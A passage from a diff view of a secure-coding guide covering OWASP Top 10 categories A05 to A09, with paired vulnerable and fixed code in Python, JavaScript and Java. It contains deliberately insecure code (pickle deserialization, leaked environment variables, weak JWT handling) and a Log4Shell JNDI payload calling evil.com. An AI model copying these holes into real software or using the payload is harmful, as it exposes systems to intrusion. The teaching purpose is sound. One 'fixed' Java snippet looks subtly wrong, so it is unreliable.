767
|
+
|
|
768
|
+
**JavaScript (Express) - Verbose Errors and Missing Headers:**
|
|
769
|
+
```javascript
|
|
770
|
+
// VULNERABLE: Detailed error messages in production
|
|
771
|
+
const app = express();
|
|
772
|
+
|
|
773
|
+
app.use((err, req, res, next) => {
|
|
774
|
+
res.status(500).json({
|
|
775
|
+
error: err.message,
|
|
776
|
+
stack: err.stack, // Exposes internal code structure
|
|
777
|
+
query: req.query, // Exposes request details
|
|
778
|
+
env: process.env // Exposes environment variables!
|
|
779
|
+
});
|
|
780
|
+
});
|
|
781
|
+
|
|
782
|
+
// Missing security headers entirely
|
|
783
|
+
// No helmet, no CORS configuration
|
|
784
|
+
```
|
|
785
|
+
|
|
786
|
+
**Java (Spring) - Exposing Actuator Endpoints:**
|
|
787
|
+
```java
|
|
788
|
+
// VULNERABLE: application.properties
|
|
789
|
+
// Exposes all actuator endpoints without authentication
|
|
790
|
+
management.endpoints.web.exposure.include=*
|
|
791
|
+
management.endpoint.env.show-values=ALWAYS
|
|
792
|
+
spring.datasource.url=jdbc:postgresql://prod-db:5432/app
|
|
793
|
+
spring.datasource.username=root
|
|
794
|
+
spring.datasource.password=SuperSecret123
|
|
795
|
+
```
|
|
796
|
+
|
|
797
|
+
### Fixed Code Examples
|
|
798
|
+
|
|
799
|
+
**Python (Django) - Hardened Production Settings:**
|
|
800
|
+
```python
|
|
801
|
+
# FIXED: Production-hardened settings
|
|
802
|
+
import os
|
|
803
|
+
|
|
804
|
+
DEBUG = False
|
|
805
|
+
ALLOWED_HOSTS = ['app.example.com']
|
|
806
|
+
SECRET_KEY = os.environ['DJANGO_SECRET_KEY']
|
|
807
|
+
|
|
808
|
+
MIDDLEWARE = [
|
|
809
|
+
'django.middleware.security.SecurityMiddleware',
|
|
810
|
+
'django.middleware.csrf.CsrfViewMiddleware',
|
|
811
|
+
'django.middleware.clickjacking.XFrameOptionsMiddleware',
|
|
812
|
+
'django.middleware.common.CommonMiddleware',
|
|
813
|
+
'django.contrib.sessions.middleware.SessionMiddleware',
|
|
814
|
+
'django.contrib.auth.middleware.AuthenticationMiddleware',
|
|
815
|
+
]
|
|
816
|
+
|
|
817
|
+
# Security headers
|
|
818
|
+
SECURE_BROWSER_XSS_FILTER = True
|
|
819
|
+
SECURE_CONTENT_TYPE_NOSNIFF = True
|
|
820
|
+
X_FRAME_OPTIONS = 'DENY'
|
|
821
|
+
SECURE_HSTS_SECONDS = 31536000
|
|
822
|
+
SECURE_HSTS_INCLUDE_SUBDOMAINS = True
|
|
823
|
+
SECURE_SSL_REDIRECT = True
|
|
824
|
+
SESSION_COOKIE_SECURE = True
|
|
825
|
+
CSRF_COOKIE_SECURE = True
|
|
826
|
+
```
|
|
827
|
+
|
|
828
|
+
**JavaScript (Express) - Proper Error Handling and Headers:**
|
|
829
|
+
```javascript
|
|
830
|
+
// FIXED: Secure error handling with helmet for headers
|
|
831
|
+
const helmet = require('helmet');
|
|
832
|
+
const cors = require('cors');
|
|
833
|
+
|
|
834
|
+
const app = express();
|
|
835
|
+
app.use(helmet());
|
|
836
|
+
|
|
837
|
+
app.use(cors({
|
|
838
|
+
origin: ['https://app.example.com'],
|
|
839
|
+
credentials: true,
|
|
840
|
+
methods: ['GET', 'POST', 'PUT', 'DELETE'],
|
|
841
|
+
}));
|
|
842
|
+
|
|
843
|
+
// Generic error handler for production
|
|
844
|
+
app.use((err, req, res, next) => {
|
|
845
|
+
console.error('Internal error:', err); // Log full error server-side
|
|
846
|
+
res.status(500).json({
|
|
847
|
+
error: 'An internal error occurred',
|
|
848
|
+
requestId: req.id // Return only a correlation ID
|
|
849
|
+
});
|
|
850
|
+
});
|
|
851
|
+
```
|
|
852
|
+
|
|
853
|
+
**Java (Spring) - Locked Down Actuator:**
|
|
854
|
+
```java
|
|
855
|
+
// FIXED: application-prod.properties
|
|
856
|
+
management.endpoints.web.exposure.include=health,info
|
|
857
|
+
management.endpoint.health.show-details=never
|
|
858
|
+
management.endpoint.env.enabled=false
|
|
859
|
+
|
|
860
|
+
spring.datasource.url=${DB_URL}
|
|
861
|
+
spring.datasource.username=${DB_USER}
|
|
862
|
+
spring.datasource.password=${DB_PASSWORD}
|
|
863
|
+
|
|
864
|
+
server.error.include-stacktrace=never
|
|
865
|
+
server.error.include-message=never
|
|
866
|
+
```
|
|
867
|
+
|
|
868
|
+
### Defense Strategies
|
|
869
|
+
|
|
870
|
+
1. **Implement a repeatable hardening process** for deploying environments (dev, QA, production) with identical but different credentials
|
|
871
|
+
2. **Minimize the platform** - remove unused features, components, documentation, and samples
|
|
872
|
+
3. **Review and update configurations** as part of the patch management process, especially security notes and headers
|
|
873
|
+
4. **Implement a segmented application architecture** that provides effective separation between components or tenants
|
|
874
|
+
5. **Send security directives** to clients via headers (CSP, HSTS, X-Content-Type-Options, etc.)
|
|
875
|
+
6. **Automate verification** of the effectiveness of configurations and settings in all environments
|
|
876
|
+
7. **Use Infrastructure as Code** (Terraform, CloudFormation) to enforce consistent security configurations
|
|
877
|
+
|
|
878
|
+
### Detection Tools
|
|
879
|
+
|
|
880
|
+
- **ScoutSuite** - Multi-cloud security auditing tool
|
|
881
|
+
- **Prowler** - AWS security assessment
|
|
882
|
+
- **kube-bench** - CIS Kubernetes Benchmark checks
|
|
883
|
+
- **Mozilla Observatory** - HTTP security header checking
|
|
884
|
+
- **Lynis** - Linux security auditing
|
|
885
|
+
- **Hadolint** - Dockerfile linting for security best practices
|
|
886
|
+
- **Trivy** - Configuration scanning for containers and IaC
|
|
887
|
+
|
|
888
|
+
---
|
|
889
|
+
|
|
890
|
+
## A06:2021 Vulnerable and Outdated Components
|
|
891
|
+
|
|
892
|
+
### Description
|
|
893
|
+
|
|
894
|
+
Components (libraries, frameworks, and other software modules) run with the same privileges as the application. If a vulnerable component is exploited, it can cause serious data loss or server takeover. Applications and APIs using components with known vulnerabilities may undermine application defenses and enable various attacks.
|
|
895
|
+
|
|
896
|
+
You are likely vulnerable if:
|
|
897
|
+
- You do not know the versions of all components used (both client-side and server-side), including nested dependencies
|
|
898
|
+
- Software is vulnerable, unsupported, or out of date (OS, web server, DBMS, applications, APIs, runtime environments, libraries)
|
|
899
|
+
- You do not scan for vulnerabilities regularly and subscribe to security bulletins related to components you use
|
|
900
|
+
- You do not fix or upgrade the underlying platform, frameworks, and dependencies in a timely fashion
|
|
901
|
+
- Developers do not test the compatibility of updated, upgraded, or patched libraries
|
|
902
|
+
|
|
903
|
+
### Attack Scenarios
|
|
904
|
+
|
|
905
|
+
**Scenario 1: Log4Shell (CVE-2021-44228)**
|
|
906
|
+
An application uses Apache Log4j 2.x. An attacker sends a crafted log message `${jndi:ldap://evil.com/exploit}` which triggers remote code execution.
|
|
907
|
+
|
|
908
|
+
**Scenario 2: Prototype Pollution**
|
|
909
|
+
An application uses a vulnerable version of lodash. An attacker manipulates `__proto__` to inject properties into all JavaScript objects, leading to denial of service or remote code execution.
|
|
910
|
+
|
|
911
|
+
**Scenario 3: Outdated Framework with Known SQLi**
|
|
912
|
+
An application uses an old version of a PHP framework with a known SQL injection vulnerability that was patched two years ago.
|
|
913
|
+
|
|
914
|
+
### Vulnerable Code Examples
|
|
915
|
+
|
|
916
|
+
**Python - Unpinned Dependencies:**
|
|
917
|
+
```
|
|
918
|
+
# VULNERABLE: requirements.txt with no version pinning
|
|
919
|
+
flask
|
|
920
|
+
sqlalchemy
|
|
921
|
+
requests
|
|
922
|
+
pyjwt
|
|
923
|
+
cryptography
|
|
924
|
+
```
|
|
925
|
+
|
|
926
|
+
**JavaScript - Outdated package.json:**
|
|
927
|
+
```json
|
|
928
|
+
{
|
|
929
|
+
"dependencies": {
|
|
930
|
+
"express": "^3.0.0",
|
|
931
|
+
"lodash": "4.17.15",
|
|
932
|
+
"jsonwebtoken": "^7.0.0",
|
|
933
|
+
"serialize-javascript": "1.9.1"
|
|
934
|
+
}
|
|
935
|
+
}
|
|
936
|
+
```
|
|
937
|
+
|
|
938
|
+
**Java - Vulnerable Log4j in pom.xml:**
|
|
939
|
+
```xml
|
|
940
|
+
<!-- VULNERABLE: Log4j version with RCE vulnerability -->
|
|
941
|
+
<dependency>
|
|
942
|
+
<groupId>org.apache.logging.log4j</groupId>
|
|
943
|
+
<artifactId>log4j-core</artifactId>
|
|
944
|
+
<version>2.14.1</version>
|
|
945
|
+
</dependency>
|
|
946
|
+
```
|
|
947
|
+
|
|
948
|
+
### Fixed Code Examples
|
|
949
|
+
|
|
950
|
+
**Python - Pinned Dependencies with Hash Verification:**
|
|
951
|
+
```
|
|
952
|
+
# FIXED: requirements.txt with exact versions
|
|
953
|
+
flask==3.0.2
|
|
954
|
+
sqlalchemy==2.0.27
|
|
955
|
+
requests==2.31.0
|
|
956
|
+
pyjwt==2.8.0
|
|
957
|
+
cryptography==42.0.4
|
|
958
|
+
```
|
|
959
|
+
|
|
960
|
+
```toml
|
|
961
|
+
# BETTER: pyproject.toml with version constraints
|
|
962
|
+
[project]
|
|
963
|
+
dependencies = [
|
|
964
|
+
"flask>=3.0,<4.0",
|
|
965
|
+
"sqlalchemy>=2.0,<3.0",
|
|
966
|
+
"requests>=2.31,<3.0",
|
|
967
|
+
]
|
|
968
|
+
```
|
|
969
|
+
|
|
970
|
+
**JavaScript - Updated and Audited Dependencies:**
|
|
971
|
+
```json
|
|
972
|
+
{
|
|
973
|
+
"dependencies": {
|
|
974
|
+
"express": "^4.18.2",
|
|
975
|
+
"lodash": "^4.17.21",
|
|
976
|
+
"jsonwebtoken": "^9.0.2",
|
|
977
|
+
"serialize-javascript": "^6.0.2"
|
|
978
|
+
},
|
|
979
|
+
"scripts": {
|
|
980
|
+
"audit": "npm audit --production",
|
|
981
|
+
"audit:fix": "npm audit fix"
|
|
982
|
+
}
|
|
983
|
+
}
|
|
984
|
+
```
|
|
985
|
+
|
|
986
|
+
**Java - Patched Dependencies with BOM:**
|
|
987
|
+
```xml
|
|
988
|
+
<!-- FIXED: Use BOM for consistent, patched versions -->
|
|
989
|
+
<dependencyManagement>
|
|
990
|
+
<dependencies>
|
|
991
|
+
<dependency>
|
|
992
|
+
<groupId>org.apache.logging.log4j</groupId>
|
|
993
|
+
<artifactId>log4j-bom</artifactId>
|
|
994
|
+
<version>2.23.0</version>
|
|
995
|
+
<type>pom</type>
|
|
996
|
+
<scope>import</scope>
|
|
997
|
+
</dependency>
|
|
998
|
+
</dependencies>
|
|
999
|
+
</dependencyManagement>
|
|
1000
|
+
```
|
|
1001
|
+
|
|
1002
|
+
### Defense Strategies
|
|
1003
|
+
|
|
1004
|
+
1. **Remove unused dependencies**, unnecessary features, components, files, and documentation
|
|
1005
|
+
2. **Continuously inventory versions** of both client-side and server-side components using tools like OWASP Dependency-Check, npm audit, pip-audit
|
|
1006
|
+
3. **Monitor sources like CVE and NVD** for vulnerabilities in components. Use Software Composition Analysis (SCA) tools to automate this
|
|
1007
|
+
4. **Only obtain components from official sources** over secure links. Prefer signed packages
|
|
1008
|
+
5. **Monitor for libraries and components that are unmaintained** or do not create security patches for older versions
|
|
1009
|
+
6. **Use a lockfile** (package-lock.json, poetry.lock, Pipfile.lock) to ensure reproducible builds
|
|
1010
|
+
7. **Automate dependency updates** using Dependabot, Renovate, or similar tools with CI integration
|
|
1011
|
+
|
|
1012
|
+
### Detection Tools
|
|
1013
|
+
|
|
1014
|
+
- **OWASP Dependency-Check** - Detects publicly disclosed vulnerabilities in project dependencies
|
|
1015
|
+
- **npm audit / yarn audit** - Built-in Node.js dependency vulnerability scanning
|
|
1016
|
+
- **pip-audit** - Python dependency vulnerability scanning
|
|
1017
|
+
- **Snyk** - SCA for all major languages
|
|
1018
|
+
- **Trivy** - Container and filesystem vulnerability scanning
|
|
1019
|
+
- **Dependabot / Renovate** - Automated dependency update PRs
|
|
1020
|
+
- **OWASP Dependency-Track** - Continuous component analysis platform
|
|
1021
|
+
- **Safety** - Python dependency checker against known vulnerabilities database
|
|
1022
|
+
|
|
1023
|
+
---
|
|
1024
|
+
|
|
1025
|
+
## A07:2021 Identification and Authentication Failures
|
|
1026
|
+
|
|
1027
|
+
### Description
|
|
1028
|
+
|
|
1029
|
+
Confirmation of the user's identity, authentication, and session management is critical to protect against authentication-related attacks. There may be authentication weaknesses if the application:
|
|
1030
|
+
|
|
1031
|
+
- Permits automated attacks such as credential stuffing (testing lists of known passwords)
|
|
1032
|
+
- Permits brute force or other automated attacks
|
|
1033
|
+
- Permits default, weak, or well-known passwords
|
|
1034
|
+
- Uses weak or ineffective credential recovery and forgot-password processes
|
|
1035
|
+
- Uses plain text, encrypted, or weakly hashed passwords
|
|
1036
|
+
- Has missing or ineffective multi-factor authentication
|
|
1037
|
+
- Exposes session identifiers in the URL
|
|
1038
|
+
- Reuses session identifiers after successful login
|
|
1039
|
+
- Does not correctly invalidate session IDs during logout or inactivity
|
|
1040
|
+
|
|
1041
|
+
### Attack Scenarios
|
|
1042
|
+
|
|
1043
|
+
**Scenario 1: Credential Stuffing**
|
|
1044
|
+
An attacker uses a list of leaked username/password pairs from another breach to try to log into the application. Without rate limiting or account lockout, they gain access to accounts where users reused passwords.
|
|
1045
|
+
|
|
1046
|
+
**Scenario 2: Session Fixation**
|
|
1047
|
+
An attacker crafts a URL with a known session ID and tricks a victim into authenticating with it. The attacker can then use the same session ID to access the victim's authenticated session.
|
|
1048
|
+
|
|
1049
|
+
**Scenario 3: Weak Password Recovery**
|
|
1050
|
+
A password reset flow asks security questions with easily guessable answers ("What city were you born in?") and sends the new password in plain text via email.
|
|
1051
|
+
|
|
1052
|
+
### Vulnerable Code Examples
|
|
1053
|
+
|
|
1054
|
+
**Python - Weak Session Management:**
|
|
1055
|
+
```python
|
|
1056
|
+
# VULNERABLE: No session regeneration after login, weak session config
|
|
1057
|
+
@app.route('/login', methods=['POST'])
|
|
1058
|
+
def login():
|
|
1059
|
+
user = User.query.filter_by(
|
|
1060
|
+
username=request.form['username']
|
|
1061
|
+
).first()
|
|
1062
|
+
if user and user.check_password(request.form['password']):
|
|
1063
|
+
session['user_id'] = user.id # Session ID not regenerated
|
|
1064
|
+
return redirect('/dashboard')
|
|
1065
|
+
return render_template('login.html', error='Invalid credentials')
|
|
1066
|
+
|
|
1067
|
+
# No session timeout configured
|
|
1068
|
+
# No account lockout mechanism
|
|
1069
|
+
```
|
|
1070
|
+
|
|
1071
|
+
**JavaScript - Insecure JWT Implementation:**
|
|
1072
|
+
```javascript
|
|
1073
|
+
// VULNERABLE: No expiry, weak secret, algorithm confusion possible
|
|
1074
|
+
const jwt = require('jsonwebtoken');
|
|
1075
|
+
|
|
1076
|
+
function generateToken(user) {
|
|
1077
|
+
return jwt.sign(
|
|
1078
|
+
{ userId: user.id, role: user.role },
|
|
1079
|
+
'secret123', // Weak, hardcoded secret
|
|
1080
|
+
// No expiresIn set - token never expires
|
|
1081
|
+
);
|
|
1082
|
+
}
|
|
1083
|
+
|
|
1084
|
+
function verifyToken(token) {
|
|
1085
|
+
return jwt.verify(token, 'secret123');
|
|
1086
|
+
// No algorithm restriction - vulnerable to alg:none attack
|
|
1087
|
+
}
|
|
1088
|
+
```
|
|
1089
|
+
|
|
1090
|
+
**Java - No Account Lockout:**
|
|
1091
|
+
```java
|
|
1092
|
+
// VULNERABLE: No brute force protection
|
|
1093
|
+
@PostMapping("/login")
|
|
1094
|
+
public ResponseEntity<?> login(@RequestBody LoginRequest request) {
|
|
1095
|
+
User user = userRepository.findByUsername(request.getUsername());
|
|
1096
|
+
if (user != null && passwordEncoder.matches(request.getPassword(), user.getPasswordHash())) {
|
|
1097
|
+
String token = jwtService.generateToken(user);
|
|
1098
|
+
return ResponseEntity.ok(new AuthResponse(token));
|
|
1099
|
+
}
|
|
1100
|
+
return ResponseEntity.status(401).body("Invalid credentials");
|
|
1101
|
+
// No failed attempt tracking, no lockout, no delay
|
|
1102
|
+
}
|
|
1103
|
+
```
|
|
1104
|
+
|
|
1105
|
+
### Fixed Code Examples
|
|
1106
|
+
|
|
1107
|
+
**Python - Secure Session Management:**
|
|
1108
|
+
```python
|
|
1109
|
+
from flask_login import login_user
|
|
1110
|
+
from flask_limiter import Limiter
|
|
1111
|
+
|
|
1112
|
+
limiter = Limiter(app, key_func=get_remote_address)
|
|
1113
|
+
|
|
1114
|
+
app.config.update(
|
|
1115
|
+
SESSION_COOKIE_SECURE=True,
|
|
1116
|
+
SESSION_COOKIE_HTTPONLY=True,
|
|
1117
|
+
SESSION_COOKIE_SAMESITE='Lax',
|
|
1118
|
+
PERMANENT_SESSION_LIFETIME=timedelta(hours=1),
|
|
1119
|
+
)
|
|
1120
|
+
|
|
1121
|
+
# FIXED: Rate limiting, lockout, session regeneration
|
|
1122
|
+
@app.route('/login', methods=['POST'])
|
|
1123
|
+
@limiter.limit("10 per minute")
|
|
1124
|
+
def login():
|
|
1125
|
+
username = request.form['username']
|
|
1126
|
+
user = User.query.filter_by(username=username).first()
|
|
1127
|
+
|
|
1128
|
+
if user and user.is_locked():
|
|
1129
|
+
return render_template('login.html',
|
|
1130
|
+
error='Account locked. Try again in 15 minutes.'), 429
|
|
1131
|
+
|
|
1132
|
+
if user and user.check_password(request.form['password']):
|
|
1133
|
+
user.reset_failed_attempts()
|
|
1134
|
+
session.regenerate() # Regenerate session ID after login
|
|
1135
|
+
login_user(user, remember=False)
|
|
1136
|
+
return redirect('/dashboard')
|
|
1137
|
+
|
|
1138
|
+
if user:
|
|
1139
|
+
user.increment_failed_attempts()
|
|
1140
|
+
if user.failed_attempts >= 5:
|
|
1141
|
+
user.lock_until(datetime.utcnow() + timedelta(minutes=15))
|
|
1142
|
+
db.session.commit()
|
|
1143
|
+
|
|
1144
|
+
return render_template('login.html', error='Invalid credentials'), 401
|
|
1145
|
+
```
|
|
1146
|
+
|
|
1147
|
+
**JavaScript - Secure JWT Implementation:**
|
|
1148
|
+
```javascript
|
|
1149
|
+
// FIXED: Strong secret, expiry, algorithm pinning
|
|
1150
|
+
const jwt = require('jsonwebtoken');
|
|
1151
|
+
|
|
1152
|
+
const JWT_SECRET = process.env.JWT_SECRET; // From environment, minimum 256 bits
|
|
1153
|
+
const JWT_OPTIONS = {
|
|
1154
|
+
algorithm: 'HS256',
|
|
1155
|
+
expiresIn: '1h',
|
|
1156
|
+
issuer: 'app.example.com',
|
|
1157
|
+
};
|
|
1158
|
+
|
|
1159
|
+
function generateToken(user) {
|
|
1160
|
+
return jwt.sign(
|
|
1161
|
+
{ userId: user.id, role: user.role },
|
|
1162
|
+
JWT_SECRET,
|
|
1163
|
+
JWT_OPTIONS
|
|
1164
|
+
);
|
|
1165
|
+
}
|
|
1166
|
+
|
|
1167
|
+
function verifyToken(token) {
|
|
1168
|
+
return jwt.verify(token, JWT_SECRET, {
|
|
1169
|
+
algorithms: ['HS256'], // Explicitly restrict algorithms
|
|
1170
|
+
issuer: 'app.example.com',
|
|
1171
|
+
});
|
|
1172
|
+
}
|
|
1173
|
+
```
|
|
1174
|
+
|
|
1175
|
+
**Java - Account Lockout with Tracking:**
|
|
1176
|
+
```java
|
|
1177
|
+
// FIXED: Failed attempt tracking with progressive lockout
|
|
1178
|
+
@PostMapping("/login")
|
|
1179
|
+
@RateLimited(requests = 10, period = 60)
|
|
1180
|
+
public ResponseEntity<?> login(@RequestBody LoginRequest request) {
|
|
1181
|
+
User user = userRepository.findByUsername(request.getUsername());
|
|
1182
|
+
|
|
1183
|
+
if (user != null && user.isLocked()) {
|
|
1184
|
+
return ResponseEntity.status(429).body("Account temporarily locked");
|
|
1185
|
+
}
|
|
1186
|
+
|
|
1187
|
+
if (user != null && passwordEncoder.matches(
|
|
1188
|
+
request.getPassword(), user.getPasswordHash())) {
|
|
1189
|
+
user.resetFailedAttempts();
|
|
1190
|
+
userRepository.save(user);
|
|
1191
|
+
String token = jwtService.generateToken(user);
|
|
1192
|
+
return ResponseEntity.ok(new AuthResponse(token));
|
|
1193
|
+
}
|
|
1194
|
+
|
|
1195
|
+
if (user != null) {
|
|
1196
|
+
user.incrementFailedAttempts();
|
|
1197
|
+
if (user.getFailedAttempts() >= 5) {
|
|
1198
|
+
user.setLockedUntil(Instant.now().plus(Duration.ofMinutes(15)));
|
|
1199
|
+
}
|
|
1200
|
+
userRepository.save(user);
|
|
1201
|
+
}
|
|
1202
|
+
|
|
1203
|
+
// Same response for invalid username and invalid password
|
|
1204
|
+
return ResponseEntity.status(401).body("Invalid credentials");
|
|
1205
|
+
}
|
|
1206
|
+
```
|
|
1207
|
+
|
|
1208
|
+
### Defense Strategies
|
|
1209
|
+
|
|
1210
|
+
1. **Implement multi-factor authentication** (MFA/2FA) to prevent credential stuffing, brute force, and stolen credential reuse
|
|
1211
|
+
2. **Do not ship or deploy with any default credentials**, particularly for admin users
|
|
1212
|
+
3. **Implement weak password checks** against the top 10,000 worst passwords list
|
|
1213
|
+
4. **Align password policies with NIST 800-63b** - length over complexity, allow paste, no periodic rotation requirements
|
|
1214
|
+
5. **Ensure registration, credential recovery, and API pathways are hardened** against account enumeration attacks by using the same messages for all outcomes
|
|
1215
|
+
6. **Limit or increasingly delay failed login attempts**, but be careful not to create a denial-of-service scenario. Log all failures and alert administrators
|
|
1216
|
+
7. **Use a server-side, secure, built-in session manager** that generates a new random session ID with high entropy after login
|
|
1217
|
+
8. **Set session idle timeout** (15-30 minutes for high-value applications)
|
|
1218
|
+
|
|
1219
|
+
### Detection Tools
|
|
1220
|
+
|
|
1221
|
+
- **Hydra** - Network login brute force testing
|
|
1222
|
+
- **Burp Suite** - Session management testing, token analysis
|
|
1223
|
+
- **OWASP ZAP** - Authentication testing
|
|
1224
|
+
- **CrackStation / HashCat** - Password hash strength validation
|
|
1225
|
+
- **Semgrep** - Rules for insecure JWT usage and weak auth patterns
|
|
1226
|
+
- **Have I Been Pwned API** - Check if passwords appear in known breaches
|
|
1227
|
+
|
|
1228
|
+
---
|
|
1229
|
+
|
|
1230
|
+
## A08:2021 Software and Data Integrity Failures
|
|
1231
|
+
|
|
1232
|
+
### Description
|
|
1233
|
+
|
|
1234
|
+
Software and data integrity failures relate to code and infrastructure that does not protect against integrity violations. This includes:
|
|
1235
|
+
|
|
1236
|
+
- Using software from untrusted sources (CDNs, repositories) without integrity verification
|
|
1237
|
+
- Insecure CI/CD pipelines that introduce the possibility of unauthorized access, malicious code, or system compromise
|
|
1238
|
+
- Auto-update functionality that downloads and applies updates without sufficient integrity verification
|
|
1239
|
+
- Insecure deserialization where objects or data are encoded or serialized into a structure that an attacker can see and modify
|
|
1240
|
+
|
|
1241
|
+
### Attack Scenarios
|
|
1242
|
+
|
|
1243
|
+
**Scenario 1: Supply Chain Attack**
|
|
1244
|
+
An attacker compromises a popular npm package (like event-stream). Applications that depend on it automatically pull the malicious update, resulting in cryptocurrency theft.
|
|
1245
|
+
|
|
1246
|
+
**Scenario 2: Insecure Deserialization**
|
|
1247
|
+
An attacker modifies a serialized Java object in a cookie. When the server deserializes it, it triggers arbitrary code execution via a gadget chain.
|
|
1248
|
+
|
|
1249
|
+
**Scenario 3: CI/CD Pipeline Compromise**
|
|
1250
|
+
An attacker gains access to the CI/CD system and modifies the build pipeline to inject a backdoor into the production artifact.
|
|
1251
|
+
|
|
1252
|
+
### Vulnerable Code Examples
|
|
1253
|
+
|
|
1254
|
+
**Python - Insecure Deserialization:**
|
|
1255
|
+
```python
|
|
1256
|
+
import pickle
|
|
1257
|
+
import base64
|
|
1258
|
+
|
|
1259
|
+
# VULNERABLE: Deserializing untrusted pickle data
|
|
1260
|
+
@app.route('/api/session', methods=['POST'])
|
|
1261
|
+
def load_session():
|
|
1262
|
+
session_data = request.cookies.get('session_data')
|
|
1263
|
+
data = pickle.loads(base64.b64decode(session_data)) # RCE possible!
|
|
1264
|
+
return jsonify(data)
|
|
1265
|
+
```
|
|
1266
|
+
|
|
1267
|
+
**JavaScript - Unverified CDN Scripts:**
|
|
1268
|
+
```html
|
|
1269
|
+
<!-- VULNERABLE: No integrity check on CDN-loaded scripts -->
|
|
1270
|
+
<script src="https://cdn.example.com/jquery-3.6.0.min.js"></script>
|
|
1271
|
+
<script src="https://cdn.example.com/lodash-4.17.21.min.js"></script>
|
|
1272
|
+
```
|
|
1273
|
+
|
|
1274
|
+
**Java - Insecure Object Deserialization:**
|
|
1275
|
+
```java
|
|
1276
|
+
// VULNERABLE: Deserializing user-controlled data
|
|
1277
|
+
@PostMapping("/api/import")
|
|
1278
|
+
public ResponseEntity<?> importData(@RequestBody byte[] data) {
|
|
1279
|
+
ObjectInputStream ois = new ObjectInputStream(new ByteArrayInputStream(data));
|
|
1280
|
+
Object obj = ois.readObject(); // Arbitrary object deserialization
|
|
1281
|
+
return ResponseEntity.ok(processData(obj));
|
|
1282
|
+
}
|
|
1283
|
+
```
|
|
1284
|
+
|
|
1285
|
+
### Fixed Code Examples
|
|
1286
|
+
|
|
1287
|
+
**Python - Safe Serialization:**
|
|
1288
|
+
```python
|
|
1289
|
+
import json
|
|
1290
|
+
import hmac
|
|
1291
|
+
import hashlib
|
|
1292
|
+
|
|
1293
|
+
SECRET_KEY = os.environ['SESSION_SECRET']
|
|
1294
|
+
|
|
1295
|
+
# FIXED: Use JSON (not pickle) with HMAC integrity verification
|
|
1296
|
+
@app.route('/api/session', methods=['POST'])
|
|
1297
|
+
def load_session():
|
|
1298
|
+
session_data = request.cookies.get('session_data')
|
|
1299
|
+
signature = request.cookies.get('session_sig')
|
|
1300
|
+
|
|
1301
|
+
# Verify integrity
|
|
1302
|
+
expected_sig = hmac.new(
|
|
1303
|
+
SECRET_KEY.encode(), session_data.encode(), hashlib.sha256
|
|
1304
|
+
).hexdigest()
|
|
1305
|
+
|
|
1306
|
+
if not hmac.compare_digest(signature, expected_sig):
|
|
1307
|
+
return jsonify({"error": "Invalid session"}), 403
|
|
1308
|
+
|
|
1309
|
+
data = json.loads(session_data) # JSON is safe from code execution
|
|
1310
|
+
return jsonify(data)
|
|
1311
|
+
```
|
|
1312
|
+
|
|
1313
|
+
**JavaScript - Subresource Integrity (SRI):**
|
|
1314
|
+
```html
|
|
1315
|
+
<!-- FIXED: SRI hash verification for CDN scripts -->
|
|
1316
|
+
<script
|
|
1317
|
+
src="https://cdn.example.com/jquery-3.6.0.min.js"
|
|
1318
|
+
integrity="sha384-vtXRMe3mGCbOeY7l30aIg8H9p3GdeSe4IFlP6G8JMa7o7lXvnz3GFKzPxzJdPfG"
|
|
1319
|
+
crossorigin="anonymous">
|
|
1320
|
+
</script>
|
|
1321
|
+
```
|
|
1322
|
+
|
|
1323
|
+
**Java - Safe Deserialization with Allowlisting:**
|
|
1324
|
+
```java
|
|
1325
|
+
// FIXED: Use JSON deserialization with explicit type mapping
|
|
1326
|
+
@PostMapping("/api/import")
|
|
1327
|
+
public ResponseEntity<?> importData(@RequestBody String jsonData) {
|
|
1328
|
+
ObjectMapper mapper = new ObjectMapper();
|
|
1329
|
+
mapper.activateDefaultTyping(
|
|
1330
|
+
mapper.getPolymorphicTypeValidator(),
|
|
1331
|
+
ObjectMapper.DefaultTyping.NON_FINAL
|
|
1332
|
+
);
|
|
1333
|
+
|
|
1334
|
+
// Only allow specific known types
|
|
1335
|
+
PolymorphicTypeValidator ptv = BasicPolymorphicTypeValidator.builder()
|
|
1336
|
+
.allowIfSubType("com.myapp.model.")
|
|
1337
|
+
.build();
|
|
1338
|
+
mapper.activateDefaultTyping(ptv, ObjectMapper.DefaultTyping.NON_FINAL);
|
|
1339
|
+
|
|
1340
|
+
ImportData data = mapper.readValue(jsonData, ImportData.class);
|
|
1341
|
+
return ResponseEntity.ok(processData(data));
|
|
1342
|
+
}
|
|
1343
|
+
```
|
|
1344
|
+
|
|
1345
|
+
### Defense Strategies
|
|
1346
|
+
|
|
1347
|
+
1. **Use digital signatures** to verify software or data is from the expected source and has not been altered
|
|
1348
|
+
2. **Ensure libraries and dependencies are consuming trusted repositories** (npmjs.com, pypi.org, Maven Central). Consider hosting a vetted internal mirror
|
|
1349
|
+
3. **Use a software supply chain security tool** (OWASP Dependency-Check, Snyk) to verify that components do not contain known vulnerabilities
|
|
1350
|
+
4. **Ensure there is a review process for code and configuration changes** to minimize the chance that malicious code or configuration enters the pipeline
|
|
1351
|
+
5. **Ensure your CI/CD pipeline has proper segregation, configuration, and access control** to ensure the integrity of the code flowing through build and deploy processes
|
|
1352
|
+
6. **Do not send unsigned or unencrypted serialized data** to untrusted clients without some form of integrity check or digital signature
|
|
1353
|
+
7. **Avoid native deserialization** (pickle, Java ObjectInputStream, PHP unserialize). Use JSON or other safe formats
|
|
1354
|
+
8. **Implement Subresource Integrity (SRI)** for all externally loaded scripts and stylesheets
|
|
1355
|
+
|
|
1356
|
+
### Detection Tools
|
|
1357
|
+
|
|
1358
|
+
- **Sigstore / cosign** - Container image signing and verification
|
|
1359
|
+
- **npm audit signatures** - Verify npm package signatures
|
|
1360
|
+
- **SLSA Framework** - Supply chain integrity levels
|
|
1361
|
+
- **Semgrep** - Rules for insecure deserialization patterns
|
|
1362
|
+
- **Snyk** - Supply chain security analysis
|
|
1363
|
+
- **Socket.dev** - Detects supply chain attacks in npm/PyPI packages
|
|
1364
|
+
- **in-toto** - Supply chain layout verification
|
|
1365
|
+
|
|
1366
|
+
---
|
|
1367
|
+
|
|
1368
|
+
## A09:2021 Security Logging and Monitoring Failures
|
|
1369
|
+
|
|
1370
|
+
### Description
|
|
1371
|
+
|
|
1372
|
+
This category helps detect, escalate, and respond to active breaches. Without logging and monitoring, breaches cannot be detected. Insufficient logging, detection, monitoring, and active response occurs any time:
|
|
1373
|
+
|
|
1374
|
+
- Auditable events (logins, failed logins, high-value transactions) are not logged
|
|
1375
|
+
- Warnings and errors generate no, inadequate, or unclear log messages
|
|
1376
|
+
